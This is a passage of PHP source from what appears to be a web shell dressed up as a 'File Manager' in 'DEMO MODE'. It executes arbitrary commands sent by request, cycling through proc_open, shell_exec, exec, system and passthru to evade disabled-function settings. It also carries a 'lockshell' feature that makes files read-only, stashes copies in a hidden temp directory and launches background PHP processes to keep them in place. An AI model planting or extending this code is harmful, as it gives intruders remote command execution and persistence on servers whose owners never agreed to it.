$_SESSION['terminal_current_dir'] = $result['dir']; setcookie('terminal_current_dir', $result['dir'], time() + (86400 * 30), "/"); $path = $result['dir']; } $output = $result['output']; $return_var = $result['return_var'] ?? 0; $method = 'windows_cmd'; } else { if (preg_match('/^\s*cd\s+(.+)$/', $command, $matches)) { $new_dir = trim($matches[1], " \t\n\r\0\x0B\"'"); if ($new_dir === '~' || $new_dir === '~/' || $new_dir === '$HOME') { $new_dir = getenv('HOME') ?: '/'; } elseif ($new_dir === '-') { $output = "cd: OLDPWD not set\n"; $changed_dir = false; } else { if ($new_dir[0] !== '/') { $new_dir = $path . '/' . $new_dir; } $new_dir = realpath($new_dir); if ($new_dir && is_dir($new_dir) && is_readable($new_dir)) { $_SESSION['terminal_current_dir'] = $new_dir; setcookie('terminal_current_dir', $new_dir, time() + (86400 * 30), "/"); $path = $new_dir; $changed_dir = true; $output = ""; } else { $output = "cd: {$matches[1]}: No such file or directory\n"; } } sendJSON([ 'success' => true, 'output' => $output, 'method' => 'cd', 'dir' => $path, 'return_var' => $changed_dir ? 0 : 1, 'changed_dir' => $changed_dir ]); } if (empty($command)) { $command = 'pwd'; } $old_cwd = getcwd(); @chdir($path); if (function_exists('proc_open') && !in_array('proc_open', explode(',', ini_get('disable_functions')))) { $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = @proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (!empty($errors)) { $output .= $errors; } if (!empty($output)) $method = 'proc_open'; } } if (empty($output) && function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) { $output = @shell_exec($command . ' 2>&1'); $method = 'shell_exec'; } if (empty($output) && function_exists('exec')) { $outputArray = []; @exec($command . ' 2>&1', $outputArray, $return_var); $output = implode("\n", $outputArray); if (!empty($output)) $method = 'exec'; } if (empty($output) && function_exists('system')) { ob_start(); @system($command . ' 2>&1', $return_var); $output = ob_get_clean(); if (!empty($output)) $method = 'system'; } if (empty($output) && function_exists('passthru')) { ob_start(); @passthru($command . ' 2>&1', $return_var); $output = ob_get_clean(); if (!empty($output)) $method = 'passthru'; } } sendJSON([ 'success' => true, 'output' => $output, 'method' => $method, 'dir' => $path, 'return_var' => $return_var ]); break; case 'getinfo': $target = $_GET['path'] ?? ''; $path = getFMAbsolutePath($target, $isWindows); if (!$path || !file_exists($path)) { sendJSON(['error' => 'File not found']); } sendJSON([ 'success' => true, 'name' => basename($path), 'path' => $path, 'type' => is_dir($path) ? 'dir' : 'file', 'size' => filesize($path), 'size_fmt' => formatSize(filesize($path)), 'modified' => filemtime($path), 'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', fileperms($path)), -4), 'owner' => function_exists('posix_getpwuid') ? @posix_getpwuid(fileowner($path))['name'] : ($isWindows ? 'Windows' : ''), 'group' => function_exists('posix_getgrgid') ? @posix_getgrgid(filegroup($path))['name'] : ($isWindows ? 'Users' : '') ]); break; case 'lockshell': try { // Bersihkan buffer while (ob_get_level()) ob_end_clean(); ob_start(); $target = $_POST['path'] ?? ''; $path = getFMAbsolutePath($target, $isWindows); if (!$path || !file_exists($path)) { sendJSON(['error' => 'Invalid path']); } $isDir = is_dir($path); $sessionDir = sys_get_temp_dir() . "/.sessions"; if (!is_dir($sessionDir) && !mkdir($sessionDir, 0755, true)) { sendJSON(['error' => 'Cannot create session dir']); } $fileHash = md5($path); if ($isDir) { // LOCK FOLDER $handlerFile = $sessionDir . "/" . $fileHash . "-folder-handler"; $pidFile = $sessionDir . "/" . $fileHash . ".pid"; @unlink($handlerFile); @unlink($pidFile); if (!@chmod($path, 0444)) { sendJSON(['error' => 'Failed to lock folder (permission denied)']); } $handler = ''; if (file_put_contents($handlerFile, $handler) === false) { sendJSON(['error' => 'Failed to create handler file']); } if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") { pclose(popen("start /B php \"$handlerFile\"", "r")); } else { @chmod($handlerFile, 0755); shell_exec(PHP_BINARY . " \"$handlerFile\" > /dev/null 2>&1 & echo $! > \"$pidFile\""); } sendJSON(['success' => true, 'message' => 'Folder locked with background process', 'shell_locked' => true, 'is_dir' => true]); } // LOCK FILE $textFile = $sessionDir . "/" . $fileHash . "-text"; $handlerFile = $sessionDir . "/" . $fileHash . "-handler"; $pidFile = $sessionDir . "/" . $fileHash . ".pid"; @unlink($textFile); @unlink($handlerFile); @unlink($pidFile); if (!@copy($path, $textFile)) { sendJSON(['error' => 'Cannot copy file to session']); } if (!@chmod($path, 0444)) { sendJSON(['error' => 'Failed to lock file (permission denied)']); } $handler = ''; if (file_put_contents($handlerFile, $handler) === false) { sendJSON(['error' => 'Failed to create handler file']); } if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") { pclose(popen("start /B php \"$handlerFile\"", "r")); } else { @chmod($handlerFile, 0755); shell_exec(PHP_BINARY . " \"$handlerFile\" > /dev/null 2>&1 & echo $! > \"$pidFile\""); } sendJSON(['success' => true, 'message' => 'Lockshell deployed', 'shell_locked' => true, 'is_dir' => false]); } catch (Exception $e) { sendJSON(['error' => 'Exception: ' . $e->getMessage()]); } break; case 'unlockshell': try { // Bersihkan buffer while (ob_get_level()) ob_end_clean(); ob_start(); $target = $_POST['path'] ?? ''; $path = getFMAbsolutePath($target, $isWindows); if (!$path || !file_exists($path)) { sendJSON(['error' => 'Invalid path']); } $isDir = is_dir($path); $sessionDir = sys_get_temp_dir() . "/.sessions"; $fileHash = md5($path); if ($isDir) { // UNLOCK FOLDER $handlerFile = $sessionDir . "/" . $fileHash . "-folder-handler"; $pidFile = $sessionDir . "/" . $fileHash . ".pid"; if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") { @exec("taskkill /F /FI \"WINDOWTITLE eq php*\" 2>NUL"); } else { if (file_exists($pidFile)) { $pid = trim(file_get_contents($pidFile)); if (is_numeric($pid)) { shell_exec("kill -9 $pid 2>/dev/null"); } @unlink($pidFile); } if (file_exists($handlerFile)) { @unlink($handlerFile); } } if (!@chmod($path, 0755)) { sendJSON(['error' => 'Failed to unlock folder (permission denied)']); } sendJSON(['success' => true, 'message' => 'Folder unlocked successfully', 'shell_locked' => false, 'is_dir' => true]); } // UNLOCK FILE $handlerFile = $sessionDir . "/" . $fileHash . "-handler"; $pidFile = $sessionDir . "/" . $fileHash . ".pid"; $textFile = $sessionDir . "/" . $fileHash . "-text"; if (strtoupper(substr(PHP_OS, 0, 3)) === "WIN") { @exec("taskkill /F /FI \"WINDOWTITLE eq php*\" 2>NUL"); } else { if (file_exists($pidFile)) { $pid = trim(file_get_contents($pidFile)); if (is_numeric($pid)) { shell_exec("kill -9 $pid 2>/dev/null"); } @unlink($pidFile); } if (file_exists($handlerFile)) { @unlink($handlerFile); } } if (file_exists($textFile)) { @copy($textFile, $path); @unlink($textFile); } if (!@chmod($path, 0644)) { sendJSON(['error' => 'Failed to unlock file (permission denied)']); } sendJSON(['success' => true, 'message' => 'Lockshell killed', 'shell_locked' => false, 'is_dir' => false]); } catch (Exception $e) { sendJSON(['error' => 'Exception: ' . $e->getMessage()]); } break; case 'sync_terminal_dir': $dir = $_GET['dir'] ?? ''; if (empty($dir)) { sendJSON(['error' => 'Directory not specified']); } $dir = getRealPath($dir, $isWindows); if (!is_dir($dir)) { sendJSON(['error' => 'Invalid directory']); } $_SESSION['terminal_current_dir'] = $dir; setcookie('terminal_current_dir', $dir, time() + (86400 * 30), "/"); sendJSON(['success' => true, 'dir' => $dir]); break; default: sendJSON(['error' => 'Unknown action']); } exit; } function copyDirectory($source, $destination, $isWindows) { if (!is_dir($source)) { return false; } if (!is_dir($destination)) { if (!@mkdir($destination, 0755, true)) { return false; } } $items = @scandir($source); if ($items === false) { return false; } foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $srcPath = $source . ($isWindows ? '\\' : '/') . $item; $dstPath = $destination . ($isWindows ? '\\' : '/') . $item; if (is_dir($srcPath)) { if (!copyDirectory($srcPath, $dstPath, $isWindows)) { return false; } } else { if (!@copy($srcPath, $dstPath)) { return false; } @chmod($dstPath, 0644); } } return true; } ?> ⚡ File Manager
DEMO MODE

Loading storage info...
FM
0 selected
📤 Drop files here to upload
Supports all file types up to 100MB
Name Size Permissions Owner/Group Modified Actions
Terminal Testing...
'; } else { echo htmlspecialchars(basename($promptDir) ?: '/') . '$'; } ?>